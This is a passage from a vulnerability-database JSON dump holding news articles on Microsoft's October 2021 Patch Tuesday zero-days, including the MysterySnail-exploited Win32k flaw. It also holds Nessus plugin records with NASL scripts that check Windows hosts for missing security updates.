freshly discovered remote access trojan (RAT) [dubbed MysterySnail](<https://threatpost.com/windows-zero-day-exploited-espionage/175432/>) being installed on compromised servers, with the goal of stealing data.\n\nBharat Jogi, Qualsys senior manager of vulnerability and threat research, told Threatpost on Tuesday that if left unpatched, \u201cMysterySnail has the potential to collect and exfiltrate system information from compromised hosts, in addition to other malicious users having the ability to gain complete control of the affected system and launch further attacks.\u201d\n\nJay Goodman, Automox director of product marketing, told Threatpost via email that these kinds of privilege elevation attacks \u201ccan be used to access beyond what the current user context of the device would allow, enabling attackers to perform unauthorized action, delete or move data, view private information, or install malicious software.\u201d\n\nThis bug, rated Important, is found in all supported versions of Windows.\n\nGreg Wiseman, Rapid7 senior security researcher, told Threatpost that this vulnerability is \u201clikely being used alongside Remote Code Execution (RCE) and/or social engineering attacks to gain more complete control of targeted systems.\u201d\n\nSatnam Narang, staff research engineer at Tenable, noted that elevation of privilege flaws \u201care most valuable in post-compromise scenarios once an attacker has gained access to a target system through other means, in order to execute code with elevated privileges.\u201d\n\nImmersive Labs\u2019 Kevin Breen, director of cyber threat research, said that this all points to prioritizing this patch, particularly given how common these vulnerabilities are in ransomware attack chains: \u201cGaining this level of access on a compromised host is the first step towards becoming a domain admin \u2013 and securing full access to a network,\u201d he told Threastpost. \u201cAlmost every ransomware attack reported this year has included the use of one or more privilege escalation vulnerabilities as part of the attacker\u2019s workflow, so this is serious stuff indeed.\u201d\n\n## A PrintNightmare Fix to Fix the Other PrintNightmare Fix\n\nOther fixes released in the October Patch Tuesday batch include those that address what was a summer\u2019s full of Print Spooler-related patches. There\u2019s been a [steady](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) [stream](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) of these [patches](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) for flaws in Windows Print Spooler following June\u2019s [disclosure of the PrintNightmare vulnerability](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>) \u2013 a bug that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for [CVE-2021-36970](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36970>), a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in [their September 2021 update,](<https://threatpost.com/microsoft-patch-tuesday-exploited-windows-zero-day/169459/>) the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\n\n## RCE Affects Microsoft Word, Office, SharePoint\n\nAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d\n\n## Microsoft SharePoint Server RCE\n\nImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as [CVE-2021-40487](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40487>) rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d\n\n## Highest CVSS Award Goes to Microsoft Exchange Server RCE\n\n[CVE-2021-26427](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26427>), the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other words, he explained, \u201can attacker would already need access to your network in order to exploit this vulnerability. Email servers will always be prime targets, simply due to the amount of data contained in emails and the range of possible ways attackers could use them for malicious purposes.\u201d\n\nWhile it\u2019s not \u201cright at the top\u201d of Breen\u2019s list of priorities to patch, \u201cit\u2019s certainly one to be wary of.\u201d\n\nRapid7\u2019s Wiseman concurs: This is a notable vulnerability, though it\u2019s mitigated \u201cby the fact that attacks are limited to a \u2018logically adjacent topology,'\u201d meaning, in other words, that it can\u2019t be exploited directly over the public Internet.\n\n## Windows Hyper-V\n\nWiseman called on virtualization administrators to take heed of two RCEs affecting Windows Hyper-V: [CVE-2021-40461](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40461>) and [CVE-2021-38672](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38672>), both of which affect relatively new versions of Windows and which are considered critical.\n\nWindows Hyper-V is a native hypervisor that can create and run virtual machines (VMs) on x86-64 systems running Windows. These two flaws both allow a VM to escape from guest to host by triggering a memory allocation error, allowing it to read kernel memory in the host.\n\nChristopher Hass, Autmox director of information security and research, said that exploitation of these bugs \u201ccould allow a malicious guest VM to read kernel memory in the host.\u201d\n\nNeither vulnerability has been exploited publicly, and exploitation is less likely, however organizations using Hyper-V should patch these vulnerabilities as soon as possible, Hass recommended.\n\n## One Step Away From Domain Admin\n\nThere\u2019s one bug that swings above its weight range: the DNS server remote code execution (RCE) vulnerability that\u2019s tracked as [CVE-2021-40469](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40469>).\n\nJake Williams, Co-Founder and CTO at BreachQuest, calls this one \u201cinteresting,\u201d as in, that curse about [living in interesting times](<https://en.wikipedia.org/wiki/May_you_live_in_interesting_times>).\n\nIts base score severity rating is 7.2, but its attack complexity is low, and an attack can be launched remotely. Exploitation does, however, require what [VulDB](<https://vuldb.com/?id.184280>) calls \u201can enhanced level of successful authentication.\u201d\n\nEven if that makes it tough to weaponize, this bug is still potentially uber nasty, given that, for one thing, it\u2019s been publicly disclosed in a proof of concept, and also that DNS servers sit in such a crucial spot.\n\n\u201cWhile it will likely be difficult to weaponize, DNS servers are typically run on domain controllers, making this extremely serious,\u201d Williams noted. \u201cA threat actor that gains remote code execution on a domain controller is likely to gain immediate domain administrator permissions. In the best case scenario, they are a mere step away from taking domain administrator.\u201d\n\nThis isn\u2019t the first time that Microsoft has had to stomp on an RCE vulnerability in DNS server this year, including in [March\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>). This time around, the vulnerability affects various versions of Windows 7, 8.1 and 10, as well as Windows Server.\n\n## Windows Kernel Elevation of Privilege Flaw\n\nCVE-2021-41335, an elevation of privilege vulnerability that exists when the Windows kernel fails to properly handle objects in memory, is rated high severity, and it\u2019s been publicly disclosed in a proof-of-concept (POC) showing how successful exploitation could allow an attacker to run arbitrary code in kernel mode.\n\nExploitation would enable an attacker to install programs; view, change, or delete data; or create accounts with full user rights. To exploit this vulnerability, an attacker would first have to log on to the system and then run a specially crafted application to take control of the system.\n\nJustin Knapp, Automox senior product marketing manager, explained that \u201cElevation of privilege vulnerabilities like this are often an important step in the cyber kill chain and should be immediately prioritized and patched.\u201d\n\n## Windows AppContainer Firewall Rules Security Feature Bypass\n\nTracked as [CVE-2021-41338](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41338>), this vulnerability is, again, high severity \u2013 it allows an attacker to bypass the security rules of Windows AppContainer Firewall \u2013 as well as publicly disclosed.\n\nAppContainers are designed to protect against infiltration from third-party apps. They essentially isolate the runtime environment of applications with the goal of blocking malicious code.\n\nThis vulnerability results in loss of confidentiality and can be exploited without any user interaction.\n\nMaarten Buis, Automox product marketing manager, noted that a successful attacker that exploits this vulnerability could run arbitrary code on the endpoint, but they need to have administrative privileges before they can meaningfully exploit it.\n\n\u201cHowever, there is still a significant risk because no user interaction is required, and no special endpoint conditions are required for an attack to succeed,\u201d Buis explained to Threatpost via email .\n\nThere are no reports of the vulnerability having been actively exploited \u2013 yet. Still, Automox recommends a rapid patch rollout \u2013 as in, within 72 hours of the patch being made available \u2013 given that it\u2019s been publicly disclosed in a proof of concept by James Forshaw of Google\u2019s Project Zero.\n\nAleks Haugom, Automox product marketing manager, noted that, given the sheer number of apps users download, \u201cmaking sure that AppContianers cannot be compromised is important to every company\u2019s security hygiene.\u201d\n\n## How to Prioritize?\n\nWilliams said that he doesn\u2019t want to sound like a broken record, but he\u2019s still going to say what security experts say every Patch Tuesday. To wit, \u201cPatch now.\u201d\n\nThat\u2019s particularly true for the MysterySnail campaign, he said: \u201cSeriously, this is not a patch Tuesday to delay on,\u201d he advised. \u201cThreat actors are actively exploiting the vulnerability for CVE-2021-40449 to elevate from user to administrator permissions on compromised systems. While CVE-2021-40449 doesn\u2019t allow for remote exploitation, that doesn\u2019t mean it can be taken lightly. Threat actors regularly gain access to target machines using phishing attacks and vulnerabilities such as CVE-2021-40449 allow them to evade more effectively bypass endpoint controls and evade detection.\u201d\n\nBesides which, MysterySnail\u2019s success in weaponizing this flaw means that other APTs will soon follow, Williams said: \u201cBecause the code for this has already been weaponized by one threat actor, we should expect to see it weaponized by others more quickly because there is already sample exploit code in the wild to work with.\u201d\n\nDanny Kim, Principle Architect at Virsec, who spent time at Microsoft during his graduate work on the OS security development team, voted for prioritizing the three critical remote code execution vulnerabilities: CVE-2021-40469, CVE-2021-26427 and CVE-2021-40487, which affect a wide range of Windows versions.\n\n\u201cThese vulnerabilities not only have a high to critical CVSS rating, but two of the three attacks (CVE-2021-40487, CVE-2021-40469) can be executed remotely,\u201d he stressed. \u201cRemote Code Execution (RCE) attacks are especially devastating because once the exploit is executed, [the attackers] can launch any kind of cyberattack, including ransomware.\n\nHe noted that RCE vulnerabilities were also the root cause of the Hafnium and Kaseya attacks. \u201cTrying to mitigate the attacker\u2019s actions after they have gained access is significantly harder than stopping the actions that led to the successful exploit,\u201d Kim pointed out. \u201cThis is why runtime monitoring of enterprises\u2019 server workloads is becoming a key part of today\u2019s cybersecurity. Stopping the exploitation of these vulnerabilities has to start with equipping the servers themselves with constant, deterministic runtime protection, not just detection.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-12T21:51:06", "type": "threatpost", "title": "Microsoft Oct. Patch Tuesday Squashes 4 Zero-Day Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26427", "CVE-2021-36970", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-40487", "CVE-2021-41335", "CVE-2021-41338"], "modified": "2021-10-12T21:51:06", "id": "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "href": "https://threatpost.com/microsoft-patch-tuesday-bug-exploited-mysterysnail-espionage-campaign/175431/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:38:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjpS0YPSnhzLfSL9Jdi2DupcJJqAjphhWzoP9_fp_xtPC8-pChF6NHiFf2yseIsIK4RPOzJU2HVLhEjrorjtEGyIdtZu62aWNuJgjnxL8wUynqwh5mfitCBOoYcUhmX4R8QpL9YrbFCn0HxDj7Jy5niDIgNRhN0vbF3NGFMqSgUUlm85nkuubS8bZka>)\n\nMicrosoft on Tuesday rolled out [security patches](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Oct>) to contain a total of 71 vulnerabilities in Microsoft Windows and other software, including a fix for an actively exploited privilege escalation vulnerability that could be exploited in conjunction with remote code execution bugs to take control over vulnerable systems.\n\nTwo of the addressed security flaws are rated Critical, 68 are rated Important, and one is rated Low in severity, with three of the issues listed as publicly known at the time of the release. The four zero-days are as follows \u2014\n\n * [**CVE-2021-40449**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>) (CVSS score: 7.8) - Win32k Elevation of Privilege Vulnerability\n * [**CVE-2021-41335**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41335>) (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * [**CVE-2021-40469**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40469>) (CVSS score: 7.2) - Windows DNS Server Remote Code Execution Vulnerability\n * [**CVE-2021-41338**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41338>) (CVSS score: 5.5) - Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability\n\nAt the top of the list is CVE-2021-40449, a use-after-free vulnerability in the Win32k kernel driver discovered by Kaspersky as being exploited in the wild in late August and early September 2021 as part of a widespread espionage campaign targeting IT companies, defense contractors, and diplomatic entities. The Russian cybersecurity firm dubbed the threat cluster \"MysterySnail.\"\n\n\"Code similarity and re-use of C2 [command-and-control] infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012,\" Kaspersky researchers Boris Larin and Costin Raiu [said](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>) in a technical write-up, with the infection chains leading to the deployment of a remote access trojan capable of collecting and exfiltrating system information from compromised hosts before reaching out to its C2 server for further instructions.\n\nOther bugs of note include remote code execution vulnerabilities affecting Microsoft Exchange Server ([CVE-2021-26427](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26427>)), Windows Hyper-V ([CVE-2021-38672](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38672>) and [CVE-2021-40461](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40461>)), SharePoint Server ([CVE-2021-40487](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40487>) and [CVE-2021-41344](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41344>)), and Microsoft Word ([CVE-2021-40486](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40486>)) as well as an information disclosure flaw in Rich Text Edit Control ([CVE-2021-40454](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40454>)).\n\nCVE-2021-26427, which has a CVSS score of 9.0 and was identified by the U.S. National Security Agency, once again underscoring that \"Exchange servers are high-value targets for hackers looking to penetrate business networks,\" Bharat Jogi, senior manager of vulnerability and threat research at Qualys, said.\n\nThe October Patch Tuesday release is rounded out by fixes for two shortcomings newly discovered in the Print Spooler component \u2014 [CVE-2021-41332](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41332>) and [CVE-2021-36970](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36970>) \u2014 each concerning an information disclosure bug and a spoofing vulnerability, which has been tagged with an \"Exploitation More Likely\" exploitability index assessment.\n\n\"A spoofing vulnerability usually indicates that an attacker can impersonate or identify as another user,\" security researcher ollypwn [noted](<https://twitter.com/ollypwn/status/1448064117378584576>) in a Twitter thread. \"In this case, it looks like an attacker can abuse the Spooler service to upload arbitrary files to other servers.\"\n\n### Software Patches From Other Vendors\n\nIn addition to Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-10-01>)\n * [Apple](<https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * [Intel](<https://www.intel.com/content/www/us/en/security-center/default.html>)\n * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&channel=SECURITY_ADVISORIES>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-October/thread.html>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=587169983>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-10-13T05:49:00", "type": "thn", "title": "Update Your Windows PCs Immediately to Patch New 0-Day Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26427", "CVE-2021-36970", "CVE-2021-38672", "CVE-2021-40449", "CVE-2021-40454", "CVE-2021-40461", "CVE-2021-40469", "CVE-2021-40486", "CVE-2021-40487", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41338", "CVE-2021-41344"], "modified": "2021-10-15T14:12:48", "id": "THN:57C3D6DDFA31EA2EA2B6BF2A747A612C", "href": "https://thehackernews.com/2021/10/update-your-windows-pcs-immediately-to.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-01-11T14:56:12", "description": "The remote Windows host is missing security update 5006715. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006715: Windows Server 2008 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40455", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41340", "CVE-2021-41343"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006715.NASL", "href": "https://www.tenable.com/plugins/nessus/154043", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154043);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40455\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40489\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41340\",\n \"CVE-2021-41343\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5006715\");\n script_xref(name:\"MSKB\", value:\"5006736\");\n script_xref(name:\"MSFT\", value:\"MS21-5006715\");\n script_xref(name:\"MSFT\", value:\"MS21-5006736\");\n\n script_name(english:\"KB5006715: Windows Server 2008 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006715. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006715 or apply Cumulative Update 5006736\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-40489\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-41340\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006715',\n '5006736'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(vista:'2') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.0',\n sp:2,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006736, 5006715])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:56:43", "description": "The remote Windows host is missing security update 5006728. It is, therefore, affected by multiple vulnerabilities", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006728: Windows 7 and Windows Server 2008 R2 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40455", "CVE-2021-40460", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41340", "CVE-2021-41343"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006728.NASL", "href": "https://www.tenable.com/plugins/nessus/154035", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft 